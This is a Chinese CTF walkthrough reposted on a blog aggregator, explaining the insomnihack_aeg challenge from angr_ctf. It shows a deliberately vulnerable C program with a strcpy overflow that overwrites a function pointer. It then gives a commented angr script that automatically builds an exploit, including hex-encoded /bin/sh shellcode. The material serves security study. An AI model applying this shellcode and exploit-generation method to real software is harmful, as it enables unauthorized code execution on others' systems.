使用angr自动利用简单缓冲区溢出漏洞-insomnihack_aeg

   题目来源于angr_ctf,c++代码很简单。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>char component_name[128] = {0};typedef struct component {char name[32];int (*do_something)(int arg);
} comp_t;int sample_func(int x) {printf(" - %s - recieved argument %d\n", component_name, x);
}comp_t *initialize_component(char *cmp_name) {int i = 0;comp_t *cmp;cmp = malloc(sizeof(struct component));cmp->do_something = sample_func;printf("Copying component name...\n");strcpy(cmp->name, cmp_name);cmp->name[i] = '\0';return cmp;
}int main(void)
{comp_t *cmp;printf("Component Name:\n");read(0, component_name, sizeof component_name);printf("Initializing component...\n");cmp = initialize_component(component_name);    printf("Running component...\n");mprotect((void*)((long)&component_name & ~0xfff), 0x1000, PROT_READ | PROT_EXEC);cmp->do_something(1);
}

        首先,拷贝128字节数据放入component_name,位于bss段中。

        然后,进入initialize_component模块开始初始化,创建36字节的cmp结构体,把sample_func设置为cmp结构体中的do_something方法,将开始输入的最多128字节的component_name拷贝到32字节的cmp->name中并把第一个字节改为\0,这里就造成了缓冲区溢出,使得do_something方法地址可以被替换。

        最后,还将component_name位置所在0x1000字节空间的内存权限改为可读可执行,其实就是让攻击者可以将shellcode放在这里执行,只要在这个shellcode后面接上一个跳转回到此处的地址即可。(不清楚为何printf(" - %s - recieved argument %d\n", component_name, x)会在0x0804c014处引发崩溃???运行时不涉及这个地址呀。也就是说,在我这里,这个程序在正常输入的情况下,也没法正常执行

        这样,当拷贝发生时,结构体的do_something方法地址可以被替换为component_name地址,从而从component_name处开始执行。

        下面给出angr中的自动利用代码,看看它是怎么实现这个缓冲区漏洞的自动利用的。参照“CTF中的AEG(二) 基于 angr 的漏洞利用自动生成之缓冲区溢出案例分析_aeg漏洞利用测试集”文章改动的。

import os
import sys
import angr
import subprocess
import loggingfrom angr import sim_options as sol = logging.getLogger("insomnihack.simple_aeg")# shellcraft i386.linux.sh
shellcode = bytes.fromhex("6a68682f2f2f73682f62696e89e331c96a0b5899cd80")def fully_symbolic(state, variable):'''check if a symbolic variable is completely symbolic'''for i in range(state.arch.bits):   #这里是32bit程序,所以循环32次,每次取出1bit#判断该bit是否被符号化,也就是说,该bit是对应的符号表达式还是常量if not state.solver.symbolic(variable[i]):  return Falsereturn True
#def check_continuity(address, addresses, length):'''dumb way of checking if the region at 'address' contains 'length' amount of controlled memory.'''# 就是检查地址累加每个字节后是不是还在地址区间内		for i in range(length):if not address + i in addresses:return Falsereturn Truedef find_symbolic_buffer(state, length):'''dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's control'''# 找到内存中可以用的缓冲区# get all the symbolic bytes from stdin# 获取传入程序的所有符号变量,可以用state.posix.dumps(0)来查看stdin = state.posix.stdin sym_addrs = [ ]# 遍历当前可利用状态下约束条件中保存的输入符号变量,# 并根据这个符号变量的名称找到输入进内存后的保存地址区间for _, symbol in state.solver.get_variables('file', stdin.ident):  sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables)))) # 查看输入变量放置的内存地址区间是否够放shellcodefor addr in sym_addrs:  #这里的addr就是bss段存放component_name的地址if check_continuity(addr, sym_addrs, length):yield addrdef main(binary):p = angr.Project(binary, auto_load_libs=False)  # 初始化一个angr项目,第一个参数是目标程序,第二个参数是不去自动加载lib库binary_name = os.path.basename(binary)  extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}  es = p.factory.entry_state(add_options=extras) #将程序默认入口作为angr进入的入口sm = p.factory.simulation_manager(es, save_unconstrained=True) # 初始化模拟管理器,不受约束的状态可能就是我们要找的可利用状态# find a bug giving us control of PCl.info("looking for vulnerability in '%s'", binary_name)exploitable_state = Nonewhile exploitable_state is None:print(sm)sm.step() # 单步进入一个代码基本块if len(sm.unconstrained) > 0:l.info("found some unconstrained states, checking exploitability")# 如果发现了不受约束的状态for u in sm.unconstrained:  # 遍历不受约束的状态if fully_symbolic(u, u.regs.pc):  # 如果该状态中的指令指针被完全符号化exploitable_state = u  # 指令寄存器完全被污染一定是可利用状态break # 若找到可利用状态,则exploitable_state不为空,直接退出两层循环# no exploitable state found, drop themsm.drop(stash='unconstrained')l.info("found a state which looks exploitable")ep = exploitable_state# 用断言来判断指令寄存器是否被完全符号化,若不是,则立即退出assert ep.solver.symbolic(ep.regs.pc), "PC must be symbolic at this point"# 开始基于该可利用状态构造expl.info("attempting to create exploit based off state")# keep checking if buffers can hold our shellcode# 检查看buffer能不能装的下我们的shellcodefor buf_addr in find_symbolic_buffer(ep, len(shellcode)):l.info("found symbolic buffer at %#x", buf_addr) memory = ep.memory.load(buf_addr, len(shellcode)) # 这就是找到的buffersc_bvv = ep.solver.BVV(shellcode) # 将shellcode转化为位向量# check satisfiability of placing shellcode into the address# 检查shellcode放入那个内存的可满足性# 如果满足那两条约束,就加上那两条约束# 约束时buffer能写shellcode# pc可以指向bufferif ep.satisfiable(extra_constraints=(memory == sc_bvv,ep.regs.pc == buf_addr)):l.info("found buffer for shellcode, completing exploit")ep.add_constraints(memory == sc_bvv)l.info("pointing pc towards shellcode buffer")ep.add_constraints(ep.regs.pc == buf_addr)breakelse:l.warning("couldn't find a symbolic buffer for our shellcode! exiting...")return 1#对标准输入进行约束求解,然后写进文件filename = '%s-exploit' % binary_namewith open(filename, 'wb') as f:f.write(ep.posix.dumps(0))print("%s exploit in %s" % (binary_name, filename))print("run with `(cat %s; cat -) | %s`" % (filename, binary))return 0

        归纳下来的流程就是:

        1、初始化一个angr项目,以程序入口点作为起点,一个一个代码块运行;

        2、如果发现了不受约束的状态,则查看该状态对应的pc指针是否完全被符号化,如果是,则找到了一个可利用状态;

        3、针对该可利用状态,查看对应输入变量所占的内存空间是否放得下shellcode;

        4、如果放得下,就看是否能够由满足约束的解,并将约束条件放进去,得到最终的exp;

        5、将exp输出到文件中保存。

参考链接:

CTF中的AEG(二) 基于 angr 的漏洞利用自动生成之缓冲区溢出案例分析_aeg漏洞利用测试集_yongbaoii的博客-CSDN博客    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/135632.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何在Linux上搭建本地Docker Registry并实现远程连接

Linux 本地 Docker Registry本地镜像仓库远程连接 文章目录 Linux 本地 Docker Registry本地镜像仓库远程连接1. 部署Docker Registry2. 本地测试推送镜像3. Linux 安装cpolar4. 配置Docker Registry公网访问地址5. 公网远程推送Docker Registry6. 固定Docker Registry公网地址…

C# OpenCvSharp 通过特征点匹配图片

SIFT匹配 SURF匹配 项目 代码 using OpenCvSharp; using OpenCvSharp.Extensions; using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text.RegularExpressions; using System.Windows.Forms; using static System.Net…

企业防范数据安全的重要性与策略

随着信息技术的快速发展&#xff0c;企业的数据安全问题日益凸显。数据安全不仅关乎企业的商业机密&#xff0c;还涉及到客户的隐私和信任。因此&#xff0c;企业必须采取有效的防范措施&#xff0c;确保数据安全。本文将探讨企业防范数据安全的重要性&#xff0c;并介绍一些实…

elementUI的el-menu组件做内部组件和外链区分

场景&#xff1a;左侧菜单栏的菜单项有内部组件切换&#xff0c;也会有点击后进入外链的情况&#xff0c;如何同时处理这种情况&#xff1f; 解决思路&#xff1a; 在路由配置中path代表组件切换路径或者外链配置el-menu-item显示菜单项时&#xff0c;使用动态路由形式&#…

【ARM Coresight OpenOCD 系列 1 -- OpenOCD 介绍】

请阅读【ARM Coresight SoC-400/SoC-600 专栏导读】 文章目录 1.1 OpenOCD 介绍1.1.1 OpenOCD 支持的JTAG 适配器1.1.2 OpenOCD 支持的调试设备1.1.3 OpenOCD 支持的 Flash 驱动 1.2 OpenOCD 安装与使用1.2.1 OpenOCD 代码获取及安装1.2.2 OpenOCD 使用1.2.3 OpenOCD 启用 GDB…

Vim基本使用操作

前言&#xff1a;作者也是初学Linux&#xff0c;可能总结的还不是很到位 Linux修炼功法&#xff1a;初阶功法 ♈️今日夜电波&#xff1a;美人鱼—林俊杰 0:21━━━━━━️&#x1f49f;──────── 4:14 …

9 网关的作用

1、总结&#xff1a; 1.如果离开本局域网&#xff0c;就需要经过网关&#xff0c;网关是路由器的一个网口。 2.路由器是一个三层设备&#xff0c;里面有如何寻找下一跳的规则 3.经过路由器之后 MAC 头要变&#xff0c;如果 IP 不变&#xff0c;相当于不换护照的欧洲旅游&#…

DAY13 链表

数组 静态数组 例子 : int nums[5] {0}; struct person ps[5]; 缺点 : 1,无法修改地址 2,无法动态定义长度 3,占用内存过大或过小 4,增删速度慢 优点 数组的内存是连续开辟的, 所以读取速度快 动态数组 例子 : int *nums (int *) calloc(5,sizeof(int)); struct …

Java中对象转型

理解&#xff1a; 有一个对象 new ADHero(), 同时也有一个引用ad 对象是有类型的&#xff0c; 是ADHero 引用也是有类型的&#xff0c;是ADHero 一般来说引用类型和对象类型是一样的&#xff0c;当引用类型和对象类型不一致就要考虑类型转换 简单判断&#xff1a;把右边的当…

查询优化器:RBO与CBO

SQL查询优化器 1、数据库系统发展简史2、SQL查询优化器3、查询优化器分类4、查询优化器执行过程5、CBO框架Calcite简介 1、数据库系统发展简史 数据库系统诞生于20世纪60年代中期&#xff0c;至今已有近50多年的历史&#xff0c;其发展经历了三代演变&#xff0c;造就了四位图灵…

如何更改IP地址为美国IP?美国静态住宅代理如何搭建?

相信很多做跨境电商或外贸如TikTok shop、Facebook商店、Amazon、领英的玩家都需要搭建独享的美国IP环境来运营店铺&#xff0c;那么如何搭建稳定独享的IP环境呢&#xff1f;加下来为你详细介绍&#xff0c;助力您的跨境业务。 一、选择合适的代理IP 代理IP可以帮助隐藏用户真…

RT-Thread 11. Scons 选择不同的编译器编译BSP

1.使用gcc编译工程&#xff0c;生成elf、bin文件 如果是 ARM 平台的芯片&#xff0c;则可以使用 Env 工具&#xff0c;输入 scons 命令直接编译 BSP&#xff0c;这时候默认使用的是 ARM GCC 编译器&#xff0c;因为 Env 工具带有 ARM GCC 编译器。 2.使用template.uvproj 生成…

Java 萌新入门 -- 一些常见的基础知识点

文章目录 前言第一章.java语言概述java语言基础1.程序文档风格和注释2.从键盘读取数据3.变量与赋值4.java标识符5.关于数据类型与逻辑运算符6.限制输出 小数位数&#xff1a;&#xff08;用第三种&#xff09;7.关于带标签的的循环控制语句 第二章.类和对象与数组的定义1.方法设…

搭建嵌入式GDB调试环境以及VSCode+gdbserver 图形化调试

目录 1 搭建嵌入式gdb调试环境 1.1 交叉编译工具链自带的gdb和gdbserver 1.2 使用gdb进行嵌入式程序调试 1.2.1编写简单测试程序 1.2.2 gdb调试程序 1.3 源码编译gdb和gdbserver 1.3.1 下载gdb和gdbserver源码 1.3.2 编译gdb 1.3.3 移植gdbserver 2 VSCodegdbserver 图…

Pandas - 数据合并

DataFrame数据合并主要使用merge()方法和concat()方法。 1.数据合并&#xff08;merge()方法&#xff09; Pandas模块的merge()进行数据合并时&#xff0c;两个DataFrame对象必须有相同的列。 1.常规合并 import pandas as pddf1 pd.DataFrame({编号:[mr001,mr002,mr003],语…

单片机程序无法下载?

原因一&#xff1a;电源问题 电源可能是导致STM32微控制器无法下载程序的一个常见原因。确保电源稳定对于正常运行和下载程序至关重要。以下是一些电源问题&#xff1a; 1. 电源电压不足&#xff1a;如果STM32微控制器没有足够的电压供应&#xff0c;它可能无法正常工作或下载程…

22款奔驰GLS450升级中规主机 实现导航地图 中文您好奔驰

很多平行进口的奔驰GLS都有这么一个问题&#xff0c;原车的地图在国内定位不了&#xff0c;语音交互功能也识别不了中文&#xff0c;原厂记录仪也减少了&#xff0c;使用起来也是很不方便的。星骏汇小许 Xjh15863 其实很简单&#xff0c;我们只需要更换一台中规的新主机就可以实…

华为政企网络安全产品集

产品类型产品型号产品说明 防火墙及应用安全网关ASG5505ASG5000系列上网行为管理产品&#xff08;以下简称“ASG5000”&#xff09;是华为面向各类企业、政府、大中型数据中心以及各类无线非经营性场所推出的业界领先的综合上网行为管理产品。 该系列产品可深度识别、管控和…

【数据结构】树与二叉树(六):二叉树的链式存储

文章目录 5.1 树的基本概念5.1.1 树的定义5.1.2 森林的定义5.1.3 树的术语5.1.4 树的表示 5.2 二叉树5.2.1 二叉树1. 定义2. 特点3. 性质引理5.1&#xff1a;二叉树中层数为i的结点至多有 2 i 2^i 2i个&#xff0c;其中 i ≥ 0 i \geq 0 i≥0。引理5.2&#xff1a;高度为k的二叉…

Linux家目录变成了-bash-4.2$

Linux家目录变成了-bash-4.2$ Mark a workarround: 使用root用户&#xff0c;执行cp -a /etc/skel/. /home/zookeeper/&#xff08;不是root用户也可以&#xff09; 其中/home/zookeeper/目录是对应自己的家目录地址~ 若有帮到你&#xff0c;记得点赞&#xff0c;收藏呀…